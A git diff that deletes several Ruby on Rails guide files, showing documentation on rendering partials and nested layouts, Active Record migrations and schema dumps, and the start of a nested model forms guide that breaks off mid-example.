-When a partial is called with a pluralized collection, then the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, the partial is +_product+, and within the +_product+ partial, you can refer to +product+ to get the instance that is being rendered.
-
-In Rails 3.0, there is also a shorthand for this. Assuming +@products+ is a collection of +product+ instances, you can simply write this in the +index.html.erb+ to produce the same result:
-
-<erb>
-<h1>Products</h1>
-<%= render @products %>
-</erb>
-
-Rails determines the name of the partial to use by looking at the model name in the collection. In fact, you can even create a heterogeneous collection and render it this way, and Rails will choose the proper partial for each member of the collection:
-
-In the event that the collection is empty, +render+ will return nil, so it should be fairly simple to provide alternative content.
-
-<erb>
-<h1>Products</h1>
-<%= render(@products) || 'There are no products available.' %>
-</erb>
-
-* +index.html.erb+
-
-<erb>
-<h1>Contacts</h1>
-<%= render [customer1, employee1, customer2, employee2] %>
-</erb>
-
-* +customers/_customer.html.erb+
-
-<erb>
-<p>Customer: <%= customer.name %></p>
-</erb>
-
-* +employees/_employee.html.erb+
-
-<erb>
-<p>Employee: <%= employee.name %></p>
-</erb>
-
-In this case, Rails will use the customer or employee partials as appropriate for each member of the collection.
-
-h5. Local Variables
-
-To use a custom local variable name within the partial, specify the +:as+ option in the call to the partial:
-
-<erb>
-<%= render :partial => "product", :collection => @products, :as => :item %>
-</erb>
-
-With this change, you can access an instance of the +@products+ collection as the +item+ local variable within the partial.
-
-You can also pass in arbitrary local variables to any partial you are rendering with the +:locals => {}+ option:
-
-<erb>
-<%= render :partial => 'products', :collection => @products,
-           :as => :item, :locals => {:title => "Products Page"} %>
-</erb>
-
-Would render a partial +_products.html.erb+ once for each instance of +product+ in the +@products+ instance variable passing the instance to the partial as a local variable called +item+ and to each partial, make the local variable +title+ available with the value +Products Page+.
-
-TIP: Rails also makes a counter variable available within a partial called by the collection, named after the member of the collection followed by +_counter+. For example, if you're rendering +@products+, within the partial you can refer to +product_counter+ to tell you how many times the partial has been rendered. This does not work in conjunction with the +:as => :value+ option.
-
-You can also specify a second partial to be rendered between instances of the main partial by using the +:spacer_template+ option:
-
-h5. Spacer Templates
-
-<erb>
-<%= render @products, :spacer_template => "product_ruler" %>
-</erb>
-
-Rails will render the +_product_ruler+ partial (with no data passed in to it) between each pair of +_product+ partials.
-
-h4. Using Nested Layouts
-
-You may find that your application requires a layout that differs slightly from your regular application layout to support one particular controller. Rather than repeating the main layout and editing it, you can accomplish this by using nested layouts (sometimes called sub-templates). Here's an example:
-
-Suppose you have the following +ApplicationController+ layout:
-
-* +app/views/layouts/application.html.erb+
-
-<erb>
-<html>
-<head>
-  <title><%= @page_title or 'Page Title' %></title>
-  <%= stylesheet_link_tag 'layout' %>
-  <style type="text/css"><%= yield :stylesheets %></style>
-</head>
-<body>
-  <div id="top_menu">Top menu items here</div>
-  <div id="menu">Menu items here</div>
-  <div id="content"><%= content_for?(:content) ? yield(:content) : yield %></div>
-</body>
-</html>
-</erb>
-
-On pages generated by +NewsController+, you want to hide the top menu and add a right menu:
-
-* +app/views/layouts/news.html.erb+
-
-<erb>
-<% content_for :stylesheets do %>
-  #top_menu {display: none}
-  #right_menu {float: right; background-color: yellow; color: black}
-<% end %>
-<% content_for :content do %>
-  <div id="right_menu">Right menu items here</div>
-  <%= content_for?(:news_content) ? yield(:news_content) : yield %>
-<% end %>
-<%= render :template => 'layouts/application' %>
-</erb>
-
-That's it. The News views will use the new layout, hiding the top menu and adding a new right menu inside the "content" div.
-
-There are several ways of getting similar results with different sub-templating schemes using this technique. Note that there is no limit in nesting levels. One can use the +ActionView::render+ method via +render :template => 'layouts/news'+ to base a new layout on the News layout. If you are sure you will not subtemplate the +News+ layout, you can replace the +content_for?(:news_content) ? yield(:news_content) : yield+ with simply +yield+.
diff --git a/railties/guides/source/migrations.textile b/railties/guides/source/migrations.textile
deleted file mode 100644
index 23e36b39f9..0000000000
--- a/railties/guides/source/migrations.textile
+++ /dev/null
@@ -1,673 +0,0 @@
-h2. Migrations
-
-Migrations are a convenient way for you to alter your database in a structured and organized manner. You could edit fragments of SQL by hand but you would then be responsible for telling other developers that they need to go and run them. You'd also have to keep track of which changes need to be run against the production machines next time you deploy.
-
-Active Record tracks which migrations have already been run so all you have to do is update your source and run +rake db:migrate+. Active Record will work out which migrations should be run. It will also update your +db/schema.rb+ file to match the structure of your database.
-
-Migrations also allow you to describe these transformations using Ruby. The great thing about this is that (like most of Active Record's functionality) it is database independent: you don't need to worry about the precise syntax of +CREATE TABLE+ any more than you worry about variations on +SELECT *+ (you can drop down to raw SQL for database specific features). For example you could use SQLite3 in development, but MySQL in production.
-
-You'll learn all about migrations including:
-
-* The generators you can use to create them
-* The methods Active Record provides to manipulate your database
-* The Rake tasks that manipulate them
-* How they relate to +schema.rb+
-
-endprologue.
-
-h3. Anatomy of a Migration
-
-Before we dive into the details of a migration, here are a few examples of the sorts of things you can do:
-
-<ruby>
-class CreateProducts < ActiveRecord::Migration
-  def up
-    create_table :products do |t|
-      t.string :name
-      t.text :description
-
-      t.timestamps
-    end
-  end
-
-  def down
-    drop_table :products
-  end
-end
-</ruby>
-
-This migration adds a table called +products+ with a string column called +name+ and a text column called +description+. A primary key column called +id+ will also be added, however since this is the default we do not need to ask for this. The timestamp columns +created_at+ and +updated_at+ which Active Record populates automatically will also be added. Reversing this migration is as simple as dropping the table.
-
-Migrations are not limited to changing the schema. You can also use them to fix bad data in the database or populate new fields:
-
-<ruby>
-class AddReceiveNewsletterToUsers < ActiveRecord::Migration
-  def up
-    change_table :users do |t|
-      t.boolean :receive_newsletter, :default => false
-    end
-    User.update_all ["receive_newsletter = ?", true]
-  end
-
-  def down
-    remove_column :users, :receive_newsletter
-  end
-end
-</ruby>
-
-NOTE: Some "caveats":#using-models-in-your-migrations apply to using models in your migrations.
-
-This migration adds a +receive_newsletter+ column to the +users+ table. We want it to default to +false+ for new users, but existing users are considered
-to have already opted in, so we use the User model to set the flag to +true+ for existing users.
-
-Rails 3.1 makes migrations smarter by providing a new <tt>change</tt> method. This method is preferred for writing constructive migrations (adding columns or tables). The migration knows how to migrate your database and reverse it when the migration is rolled back without the need to write a separate +down+ method.
-
-<ruby>
-class CreateProducts < ActiveRecord::Migration
-  def change
-    create_table :products do |t|
-      t.string :name
-      t.text :description
-
-      t.timestamps
-    end
-  end
-end
-</ruby>
-
-h4. Migrations are Classes
-
-A migration is a subclass of <tt>ActiveRecord::Migration</tt> that implements two methods: +up+ (perform the required transformations) and +down+ (revert them).
-
-Active Record provides methods that perform common data definition tasks in a database independent way (you'll read about them in detail later):
-
-* +create_table+
-* +change_table+
-* +drop_table+
-* +add_column+
-* +change_column+
-* +rename_column+
-* +remove_column+
-* +add_index+
-* +remove_index+
-
-If you need to perform tasks specific to your database (for example create a "foreign key":#active-record-and-referential-integrity constraint) then the +execute+ method allows you to execute arbitrary SQL. A migration is just a regular Ruby class so you're not limited to these functions. For example after adding a column you could write code to set the value of that column for existing records (if necessary using your models).
-
-On databases that support transactions with statements that change the schema (such as PostgreSQL or SQLite3), migrations are wrapped in a transaction. If the database does not support this (for example MySQL) then when a migration fails the parts of it that succeeded will not be rolled back. You will have to unpick the changes that were made by hand.
-
-h4. What's in a Name
-
-Migrations are stored in files in +db/migrate+, one for each migration class. The name of the file is of the form +YYYYMMDDHHMMSS_create_products.rb+, that is to say a UTC timestamp identifying the migration followed by an underscore followed by the name of the migration. The name of the migration class (CamelCased version) should match the latter part of the file name. For example +20080906120000_create_products.rb+ should define class +CreateProducts+ and +20080906120001_add_details_to_products.rb+ should define +AddDetailsToProducts+. If you do feel the need to change the file name then you <em>have to</em> update the name of the class inside or Rails will complain about a missing class.
-
-Internally Rails only uses the migration's number (the timestamp) to identify them. Prior to Rails 2.1 the migration number started at 1 and was incremented each time a migration was generated. With multiple developers it was easy for these to clash requiring you to rollback migrations and renumber them. With Rails 2.1 this is largely avoided by using the creation time of the migration to identify them. You can revert to the old numbering scheme by adding the following line to +config/application.rb+.
-
-<ruby>
-config.active_record.timestamped_migrations = false
-</ruby>
-
-The combination of timestamps and recording which migrations have been run allows Rails to handle common situations that occur with multiple developers.
-
-For example Alice adds migrations +20080906120000+ and +20080906123000+ and Bob adds +20080906124500+ and runs it. Alice finishes her changes and checks in her migrations and Bob pulls down the latest changes. Rails knows that it has not run Alice's two migrations so +rake db:migrate+ would run them (even though Bob's migration with a later timestamp has been run), and similarly migrating down would not run their +down+ methods.
-
-Of course this is no substitution for communication within the team. For example, if Alice's migration removed a table that Bob's migration assumed to exist, then trouble would certainly strike.
-
-h4. Changing Migrations
-
-Occasionally you will make a mistake when writing a migration. If you have already run the migration then you cannot just edit the migration and run the migration again: Rails thinks it has already run the migration and so will do nothing when you run +rake db:migrate+. You must rollback the migration (for example with +rake db:rollback+), edit your migration and then run +rake db:migrate+ to run the corrected version.
-
-In general editing existing migrations is not a good idea: you will be creating extra work for yourself and your co-workers and cause major headaches if the existing version of the migration has already been run on production machines. Instead, you should write a new migration that performs the changes you require. Editing a freshly generated migration that has not yet been committed to source control (or, more generally, which has not been propagated beyond your development machine) is relatively harmless.
-
-h4. Supported Types
-
-Active Record supports the following types:
-
-* +:primary_key+
-* +:string+
-* +:text+
-* +:integer+
-* +:float+
-* +:decimal+
-* +:datetime+
-* +:timestamp+
-* +:time+
-* +:date+
-* +:binary+
-* +:boolean+
-
-These will be mapped onto an appropriate underlying database type. For example, with MySQL the type +:string+ is mapped to +VARCHAR(255)+. You can create columns of types not supported by Active Record when using the non-sexy syntax, for example
-
-<ruby>
-create_table :products do |t|
-  t.column :name, 'polygon', :null => false
-end
-</ruby>
-
-This may however hinder portability to other databases.
-
-h3. Creating a Migration
-
-h4. Creating a Model
-
-The model and scaffold generators will create migrations appropriate for adding a new model. This migration will already contain instructions for creating the relevant table. If you tell Rails what columns you want, then statements for adding these columns will also be created. For example, running
-
-<shell>
-$ rails generate model Product name:string description:text
-</shell>
-
-will create a migration that looks like this
-
-<ruby>
-class CreateProducts < ActiveRecord::Migration
-  def change
-    create_table :products do |t|
-      t.string :name
-      t.text :description
-
-      t.timestamps
-    end
-  end
-end
-</ruby>
-
-You can append as many column name/type pairs as you want. By default +t.timestamps+ (which creates the +updated_at+ and +created_at+ columns that
-are automatically populated by Active Record) will be added for you.
-
-h4. Creating a Standalone Migration
-
-If you are creating migrations for other purposes (for example to add a column to an existing table) then you can use the migration generator:
-
-<shell>
-$ rails generate migration AddPartNumberToProducts
-</shell>
-
-This will create an empty but appropriately named migration:
-
-<ruby>
-class AddPartNumberToProducts < ActiveRecord::Migration
-  def change
-  end
-end
-</ruby>
-
-If the migration name is of the form "AddXXXToYYY" or "RemoveXXXFromYYY" and is followed by a list of column names and types then a migration containing the appropriate +add_column+ and +remove_column+ statements will be created.
-
-<shell>
-$ rails generate migration AddPartNumberToProducts part_number:string
-</shell>
-
-will generate
-
-<ruby>
-class AddPartNumberToProducts < ActiveRecord::Migration
-  def change
-    add_column :products, :part_number, :string
-  end
-end
-</ruby>
-
-Similarly,
-
-<shell>
-$ rails generate migration RemovePartNumberFromProducts part_number:string
-</shell>
-
-generates
-
-<ruby>
-class RemovePartNumberFromProducts < ActiveRecord::Migration
-  def up
-    remove_column :products, :part_number
-  end
-
-  def down
-    add_column :products, :part_number, :string
-  end
-end
-</ruby>
-
-You are not limited to one magically generated column, for example
-
-<shell>
-$ rails generate migration AddDetailsToProducts part_number:string price:decimal
-</shell>
-
-generates
-
-<ruby>
-class AddDetailsToProducts < ActiveRecord::Migration
-  def change
-    add_column :products, :part_number, :string
-    add_column :products, :price, :decimal
-  end
-end
-</ruby>
-
-As always, what has been generated for you is just a starting point. You can add or remove from it as you see fit.
-
-NOTE: The generated migration file for destructive migrations will still be old-style using the +up+ and +down+ methods. This is because Rails doesn't know the original data types defined when you made the original changes.
-
-h3. Writing a Migration
-
-Once you have created your migration using one of the generators it's time to get to work!
-
-h4. Creating a Table
-
-Migration method +create_table+ will be one of your workhorses. A typical use would be
-
-<ruby>
-create_table :products do |t|
-  t.string :name
-end
-</ruby>
-
-which creates a +products+ table with a column called +name+ (and as discussed below, an implicit +id+ column).
-
-The object yielded to the block allows you to create columns on the table. There are two ways of doing it. The first (traditional) form looks like
-
-<ruby>
-create_table :products do |t|
-  t.column :name, :string, :null => false
-end
-</ruby>
-
-The second form, the so called "sexy" migration, drops the somewhat redundant +column+ method. Instead, the +string+, +integer+, etc. methods create a column of that type. Subsequent parameters are the same.
-
-<ruby>
-create_table :products do |t|
-  t.string :name, :null => false
-end
-</ruby>
-
-By default, +create_table+ will create a primary key called +id+. You can change the name of the primary key with the +:primary_key+ option (don't forget to update the corresponding model) or, if you don't want a primary key at all (for example for a HABTM join table), you can pass the option +:id => false+. If you need to pass database specific options you can place an SQL fragment in the +:options+ option. For example,
-
-<ruby>
-create_table :products, :options => "ENGINE=BLACKHOLE" do |t|
-  t.string :name, :null => false
-end
-</ruby>
-
-will append +ENGINE=BLACKHOLE+ to the SQL statement used to create the table (when using MySQL, the default is +ENGINE=InnoDB+).
-
-h4. Changing Tables
-
-A close cousin of +create_table+ is +change_table+, used for changing existing tables. It is used in a similar fashion to +create_table+ but the object yielded to the block knows more tricks. For example
-
-<ruby>
-change_table :products do |t|
-  t.remove :description, :name
-  t.string :part_number
-  t.index :part_number
-  t.rename :upccode, :upc_code
-end
-</ruby>
-
-removes the +description+ and +name+ columns, creates a +part_number+ column and adds an index on it. Finally it renames the +upccode+ column. This is the same as doing
-
-<ruby>
-remove_column :products, :description
-remove_column :products, :name
-add_column :products, :part_number, :string
-add_index :products, :part_number
-rename_column :products, :upccode, :upc_code
-</ruby>
-
-You don't have to keep repeating the table name and it groups all the statements related to modifying one particular table. The individual transformation names are also shorter, for example +remove_column+ becomes just +remove+ and +add_index+ becomes just +index+.
-
-h4. Special Helpers
-
-Active Record provides some shortcuts for common functionality. It is for example very common to add both the +created_at+ and +updated_at+ columns and so there is a method that does exactly that:
-
-<ruby>
-create_table :products do |t|
-  t.timestamps
-end
-</ruby>
-will create a new products table with those two columns (plus the +id+ column) whereas
-
-<ruby>
-change_table :products do |t|
-  t.timestamps
-end
-</ruby>
-adds those columns to an existing table.
-
-The other helper is called +references+ (also available as +belongs_to+). In its simplest form it just adds some readability
-
-<ruby>
-create_table :products do |t|
-  t.references :category
-end
-</ruby>
-
-will create a +category_id+ column of the appropriate type. Note that you pass the model name, not the column name. Active Record adds the +_id+ for you. If you have polymorphic +belongs_to+ associations then +references+ will add both of the columns required:
-
-<ruby>
-create_table :products do |t|
-  t.references :attachment, :polymorphic => {:default => 'Photo'}
-end
-</ruby>
-will add an +attachment_id+ column and a string +attachment_type+ column with a default value of 'Photo'.
-
-NOTE: The +references+ helper does not actually create foreign key constraints for you. You will need to use +execute+ or a plugin that adds "foreign key support":#active-record-and-referential-integrity.
-
-If the helpers provided by Active Record aren't enough you can use the +execute+ method to execute arbitrary SQL.
-
-For more details and examples of individual methods, check the API documentation, in particular the documentation for "<tt>ActiveRecord::ConnectionAdapters::SchemaStatements</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html (which provides the methods available in the +up+ and +down+ methods), "<tt>ActiveRecord::ConnectionAdapters::TableDefinition</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html (which provides the methods available on the object yielded by +create_table+) and "<tt>ActiveRecord::ConnectionAdapters::Table</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/Table.html (which provides the methods available on the object yielded by +change_table+).
-
-h4. Writing Your +change+ Method
-
-The +change+ method removes the need to write both +up+ and +down+ methods in those cases that Rails know how to revert the changes automatically. Currently, the +change+ method supports only these migration definitions:
-
-* +add_column+
-* +add_index+
-* +add_timestamps+
-* +create_table+
-* +remove_timestamps+
-* +rename_column+
-* +rename_index+
-* +rename_table+
-
-If you're going to use other methods, you'll have to write the +up+ and +down+ methods normally.
-
-h4. Writing Your +down+ Method
-
-The +down+ method of your migration should revert the transformations done by the +up+ method. In other words, the database schema should be unchanged if you do an +up+ followed by a +down+. For example, if you create a table in the +up+ method, you should drop it in the +down+ method. It is wise to reverse the transformations in precisely the reverse order they were made in the +up+ method. For example,
-
-<ruby>
-class ExampleMigration < ActiveRecord::Migration
-
-  def up
-    create_table :products do |t|
-      t.references :category
-    end
-    #add a foreign key
-    execute <<-SQL
-      ALTER TABLE products
-        ADD CONSTRAINT fk_products_categories
-        FOREIGN KEY (category_id)
-        REFERENCES categories(id)
-    SQL
-
-    add_column :users, :home_page_url, :string
-
-    rename_column :users, :email, :email_address
-  end
-
-  def down
-    rename_column :users, :email_address, :email
-    remove_column :users, :home_page_url
-    execute "ALTER TABLE products DROP FOREIGN KEY fk_products_categories"
-    drop_table :products
-  end
-end
-</ruby>
-
-Sometimes your migration will do something which is just plain irreversible; for example, it might destroy some data. In such cases, you can raise +ActiveRecord::IrreversibleMigration+ from your +down+ method. If someone tries to revert your migration, an error message will be displayed saying that it can't be done.
-
-h3. Running Migrations
-
-Rails provides a set of rake tasks to work with migrations which boil down to running certain sets of migrations. The very first migration related rake task you will use will probably be +db:migrate+. In its most basic form it just runs the +up+ method for all the migrations that have not yet been run. If there are no such migrations, it exits.
-
-Note that running the +db:migrate+ also invokes the +db:schema:dump+ task, which will update your db/schema.rb file to match the structure of your database.
-
-If you specify a target version, Active Record will run the required migrations (up or down) until it has reached the specified version. The
-version is the numerical prefix on the migration's filename. For example, to migrate to version 20080906120000 run
-
-<shell>
-$ rake db:migrate VERSION=20080906120000
-</shell>
-
-If version 20080906120000 is greater than the current version (i.e., it is migrating upwards), this will run the +up+ method on all migrations up to and including 20080906120000. If migrating downwards, this will run the +down+ method on all the migrations down to, but not including, 20080906120000.
-
-h4. Rolling Back
-
-A common task is to rollback the last migration, for example if you made a mistake in it and wish to correct it. Rather than tracking down the version number associated with the previous migration you can run
-
-<shell>
-$ rake db:rollback
-</shell>
-
-This will run the +down+ method from the latest migration. If you need to undo several migrations you can provide a +STEP+ parameter:
-
-<shell>
-$ rake db:rollback STEP=3
-</shell>
-
-will run the +down+ method from the last 3 migrations.
-
-The +db:migrate:redo+ task is a shortcut for doing a rollback and then migrating back up again. As with the +db:rollback+ task, you can use the +STEP+ parameter if you need to go more than one version back, for example
-
-<shell>
-$ rake db:migrate:redo STEP=3
-</shell>
-
-Neither of these Rake tasks do anything you could not do with +db:migrate+. They are simply more convenient, since you do not need to explicitly specify the version to migrate to.
-
-Lastly, the +db:reset+ task will drop the database, recreate it and load the current schema into it.
-
-NOTE: This is not the same as running all the migrations - see the section on "schema.rb":#schema-dumping-and-you.
-
-h4. Being Specific
-
-If you need to run a specific migration up or down, the +db:migrate:up+ and +db:migrate:down+ tasks will do that. Just specify the appropriate version and the corresponding migration will have its +up+ or +down+ method invoked, for example,
-
-<shell>
-$ rake db:migrate:up VERSION=20080906120000
-</shell>
-
-will run the +up+ method from the 20080906120000 migration. These tasks check whether the migration has already run, so for example +db:migrate:up VERSION=20080906120000+ will do nothing if Active Record believes that 20080906120000 has already been run.
-
-h4. Being Talkative
-
-By default migrations tell you exactly what they're doing and how long it took. A migration creating a table and adding an index might produce output like this
-
-<shell>
-20080906170109 CreateProducts: migrating
--- create_table(:products)
-   -> 0.0021s
--- add_index(:products, :name)
-   -> 0.0026s
-20080906170109 CreateProducts: migrated (0.0059s)
-</shell>
-
-Several methods are provided that allow you to control all this:
-
-* +suppress_messages+ takes a block as an argument and suppresses any output generated by the block.
-* +say+ takes a message argument and outputs it as is. A second boolean argument can be passed to specify whether to indent or not.
-* +say_with_time+ outputs text along with how long it took to run its block. If the block returns an integer it assumes it is the number of rows affected.
-
-For example, this migration
-
-<ruby>
-class CreateProducts < ActiveRecord::Migration
-  def change
-    suppress_messages do
-      create_table :products do |t|
-        t.string :name
-        t.text :description
-        t.timestamps
-      end
-    end
-    say "Created a table"
-    suppress_messages {add_index :products, :name}
-    say "and an index!", true
-    say_with_time 'Waiting for a while' do
-      sleep 10
-      250
-    end
-  end
-end
-</ruby>
-
-generates the following output
-
-<shell>
-20080906170109 CreateProducts: migrating
-  Created a table
-   -> and an index!
-  Waiting for a while
-   -> 10.0001s
-   -> 250 rows
-20080906170109 CreateProducts: migrated (10.0097s)
-</shell>
-
-If you just want Active Record to shut up, then running +rake db:migrate VERBOSE=false+ will suppress all output.
-
-h3. Using Models in Your Migrations
-
-When creating or updating data in a migration it is often tempting to use one of your models. After all, they exist to provide easy access to the underlying data. This can be done, but some caution should be observed.
-
-For example, problems occur when the model uses database columns which are (1) not currently in the database and (2) will be created by this or a subsequent migration.
-
-Consider this example, where Alice and Bob are working on the same code base which contains a +Product+ model:
-
-Bob goes on vacation.
-
-Alice creates a migration for the +products+ table which adds a new column and initializes it.
-She also adds a validation to the +Product+ model for the new column.
-
-<ruby>
-# db/migrate/20100513121110_add_flag_to_product.rb
-
-class AddFlagToProduct < ActiveRecord::Migration
-  def change
-    add_column :products, :flag, :int
-    Product.all.each { |f| f.update_attributes!(:flag => 'false') }
-  end
-end
-</ruby>
-
-<ruby>
-# app/model/product.rb
-
-class Product < ActiveRecord::Base
-  validates :flag, :presence => true
-end
-</ruby>
-
-Alice adds a second migration which adds and initializes another column to the +products+ table and also adds a validation to the +Product+ model for the new column.
-
-<ruby>
-# db/migrate/20100515121110_add_fuzz_to_product.rb
-
-class AddFuzzToProduct < ActiveRecord::Migration
-  def change
-    add_column :products, :fuzz, :string
-    Product.all.each { |f| f.update_attributes! :fuzz => 'fuzzy' }
-  end
-end
-</ruby>
-
-<ruby>
-# app/model/product.rb
-
-class Product < ActiveRecord::Base
-  validates :flag, :fuzz, :presence => true
-end
-</ruby>
-
-Both migrations work for Alice.
-
-Bob comes back from vacation and:
-
-# updates the source - which contains both migrations and the latests version of the Product model.
-# runs outstanding migrations with +rake db:migrate+, which includes the one that updates the +Product+ model.
-
-The migration crashes because when the model attempts to save, it tries to validate the second added column, which is not in the database when the _first_ migration runs:
-
-<plain>
-rake aborted!
-An error has occurred, this and all later migrations canceled:
-
-undefined method `fuzz' for #<Product:0x000001049b14a0>
-</plain>
-
-A fix for this is to create a local model within the migration. This keeps rails from running the validations, so that the migrations run to completion.
-
-When using a faux model, it's a good idea to call +Product.reset_column_information+ to refresh the +ActiveRecord+ cache for the +Product+ model prior to updating data in the database.
-
-If Alice had done this instead, there would have been no problem:
-
-<ruby>
-# db/migrate/20100513121110_add_flag_to_product.rb
-
-class AddFlagToProduct < ActiveRecord::Migration
-  class Product < ActiveRecord::Base
-  end
-
-  def change
-    add_column :products, :flag, :int
-    Product.reset_column_information
-    Product.all.each { |f| f.update_attributes!(:flag => false) }
-  end
-end
-</ruby>
-
-<ruby>
-# db/migrate/20100515121110_add_fuzz_to_product.rb
-
-class AddFuzzToProduct < ActiveRecord::Migration
-  class Product < ActiveRecord::Base
-  end
-  def change
-    add_column :products, :fuzz, :string
-    Product.reset_column_information
-    Product.all.each { |f| f.update_attributes! :fuzz => 'fuzzy' }
-  end
-end
-</ruby>
-
-
-h3. Schema Dumping and You
-
-h4. What are Schema Files for?
-
-Migrations, mighty as they may be, are not the authoritative source for your database schema. That role falls to either +db/schema.rb+ or an SQL file which Active Record generates by examining the database. They are not designed to be edited, they just represent the current state of the database.
-
-There is no need (and it is error prone) to deploy a new instance of an app by replaying the entire migration history. It is much simpler and faster to just load into the database a description of the current schema.
-
-For example, this is how the test database is created: the current development database is dumped (either to +db/schema.rb+ or +db/development.sql+) and then loaded into the test database.
-
-Schema files are also useful if you want a quick look at what attributes an Active Record object has. This information is not in the model's code and is frequently spread across several migrations, but is summed up in the schema file. The "annotate_models":https://github.com/ctran/annotate_models gem automatically adds and updates comments at the top of each model summarizing the schema if you desire that functionality.
-
-h4. Types of Schema Dumps
-
-There are two ways to dump the schema. This is set in +config/application.rb+ by the +config.active_record.schema_format+ setting, which may be either +:sql+ or +:ruby+.
-
-If +:ruby+ is selected then the schema is stored in +db/schema.rb+. If you look at this file you'll find that it looks an awful lot like one very big migration:
-
-<ruby>
-ActiveRecord::Schema.define(:version => 20080906171750) do
-  create_table "authors", :force => true do |t|
-    t.string   "name"
-    t.datetime "created_at"
-    t.datetime "updated_at"
-  end
-
-  create_table "products", :force => true do |t|
-    t.string   "name"
-    t.text     "description"
-    t.datetime "created_at"
-    t.datetime "updated_at"
-    t.string   "part_number"
-  end
-end
-</ruby>
-
-In many ways this is exactly what it is. This file is created by inspecting the database and expressing its structure using +create_table+, +add_index+, and so on. Because this is database-independent, it could be loaded into any database that Active Record supports. This could be very useful if you were to distribute an application that is able to run against multiple databases.
-
-There is however a trade-off: +db/schema.rb+ cannot express database specific items such as foreign key constraints, triggers, or stored procedures. While in a migration you can execute custom SQL statements, the schema dumper cannot reconstitute those statements from the database. If you are using features like this, then you should set the schema format to +:sql+.
-
-Instead of using Active Record's schema dumper, the database's structure will be dumped using a tool specific to the database (via the +db:structure:dump+ Rake task) into +db/#{Rails.env}_structure.sql+. For example, for the PostgreSQL RDBMS, the +pg_dump+ utility is used. For MySQL, this file will contain the output of +SHOW CREATE TABLE+ for the various tables. Loading these schemas is simply a question of executing the SQL statements they contain. By definition, this will create a perfect copy of the database's structure. Using the +:sql+ schema format will, however, prevent loading the schema into a RDBMS other than the one used to create it.
-
-h4. Schema Dumps and Source Control
-
-Because schema dumps are the authoritative source for your database schema, it is strongly recommended that you check them into source control.
-
-h3. Active Record and Referential Integrity
-
-The Active Record way claims that intelligence belongs in your models, not in the database. As such, features such as triggers or foreign key constraints, which push some of that intelligence back into the database, are not heavily used.
-
-Validations such as +validates :foreign_key, :uniqueness => true+ are one way in which models can enforce data integrity. The +:dependent+ option on associations allows models to automatically destroy child objects when the parent is destroyed. Like anything which operates at the application level, these cannot guarantee referential integrity and so some people augment them with foreign key constraints.
-
-Although Active Record does not provide any tools for working directly with such features, the +execute+ method can be used to execute arbitrary SQL. There are also a number of plugins such as "foreign_key_migrations":https://github.com/harukizaemon/redhillonrails/tree/master/foreign_key_migrations/ which add foreign key support to Active Record (including support for dumping foreign keys in +db/schema.rb+).
diff --git a/railties/guides/source/nested_model_forms.textile b/railties/guides/source/nested_model_forms.textile
deleted file mode 100644
index 4b1fd2e0ac..0000000000
--- a/railties/guides/source/nested_model_forms.textile
+++ /dev/null
@@ -1,222 +0,0 @@
-h2. Rails nested model forms
-
-Creating a form for a model _and_ its associations can become quite tedious. Therefore Rails provides helpers to assist in dealing with the complexities of generating these forms _and_ the required CRUD operations to create, update, and destroy associations.
-
-In this guide you will:
-
-* do stuff
-
-endprologue.
-
-NOTE: This guide assumes the user knows how to use the "Rails form helpers":form_helpers.html in general. Also, it’s *not* an API reference. For a complete reference please visit "the Rails API documentation":http://api.rubyonrails.org/.
-
-
-h3. Model setup
-
-To be able to use the nested model functionality in your forms, the model will need to support some basic operations.
-
-First of all, it needs to define a writer method for the attribute that corresponds to the association you are building a nested model form for. The +fields_for+ form helper will look for this method to decide whether or not a nested model form should be build.
-
-If the associated object is an array a form builder will be yielded for each object, else only a single form builder will be yielded.
-
-Consider a Person model with an associated Address. When asked to yield a nested FormBuilder for the +:address+ attribute, the +fields_for+ form helper will look for a method on the Person instance named +address_attributes=+.
-
-h4. ActiveRecord::Base model
-
-For an ActiveRecord::Base model and association this writer method is commonly defined with the +accepts_nested_attributes_for+ class method:
-
-h5. has_one
-
-<ruby>
-class Person < ActiveRecord::Base
-  has_one :address
-  accepts_nested_attributes_for :address
-end
-</ruby>
-
-h5. belongs_to
-
-<ruby>
-class Person < ActiveRecord::Base
-  belongs_to :firm
-  accepts_nested_attributes_for :firm
-end
-</ruby>
-
-h5. has_many / has_and_belongs_to_many
-
-<ruby>
-class Person < ActiveRecord::Base
-  has_many :projects
-  accepts_nested_attributes_for :projects
-end
-</ruby>
-
-h4. Custom model
-
-As you might have inflected from this explanation, you _don’t_ necessarily need an ActiveRecord::Base model to use this functionality. The following examples are sufficient to enable the nested model form behaviour:
-
-h5. Single associated object
-
-<ruby>
-class Person
-  def address
-    Address.new
-  end
-
-  def address_attributes=(attributes)
-    # ...
-  end
-end
-</ruby>
-
-h5. Association collection
-
-<ruby>
-class Person
-  def projects
-    [Project.new, Project.new]
-  end
-
-  def projects_attributes=(attributes)
-    # ...
-  end
-end
-</ruby>
-
-NOTE: See (TODO) in the advanced section for more information on how to deal with the CRUD operations in your custom model.
-
-h3. Views
-
-h4. Controller code
-
-A nested model form will _only_ be built if the associated object(s) exist. This means that for a new model instance you would probably want to build the associated object(s) first.
-
-Consider the following typical RESTful controller which will prepare a new Person instance and its +address+ and +projects+ associations before rendering the +new+ template:
-
-<ruby>
-class PeopleController < ActionController:Base
-  def new
-    @person = Person.new
-    @person.built_address
-    2.times { @person.projects.build }
-  end
-
-  def create
-    @person = Person.new(params[:person])
-    if @person.save
-      # ...
-    end
-  end
-end
-</ruby>
-
-NOTE: Obviously the instantiation of the associated object(s) can become tedious and not DRY, so you might want to move that into the model itself. ActiveRecord::Base provides an +after_initialize+ callback which is a good way to refactor this.
-
-h4. Form code
-
-Now that you have a model instance, with the appropriate methods and associated object(s), you can start building the nested model form.
-
-h5. Standard form
-
-Start out with a regular RESTful form:
-
-<erb>
-<%= form_for @person do |f| %>
-  <%= f.text_field :name %>
-<% end %>
-</erb>
-
-This will generate the following html:
-
-<html>
-<form action="/people" class="new_person" id="new_person" method="post">
-  <input id="person_name" name="person[name]" size="30" type="text" />
-</form>
-</html>
-
-h5. Nested form for a single associated object
-
-Now add a nested form for the +address+ association:
-
-<erb>
-<%= form_for @person do |f| %>
-  <%= f.text_field :name %>
-
-  <%= f.fields_for :address do |af| %>
-    <%= af.text_field :street %>
-  <% end %>
-<% end %>
-</erb>
-
-This generates:
-
-<html>
-<form action="/people" class="new_person" id="new_person" method="post">
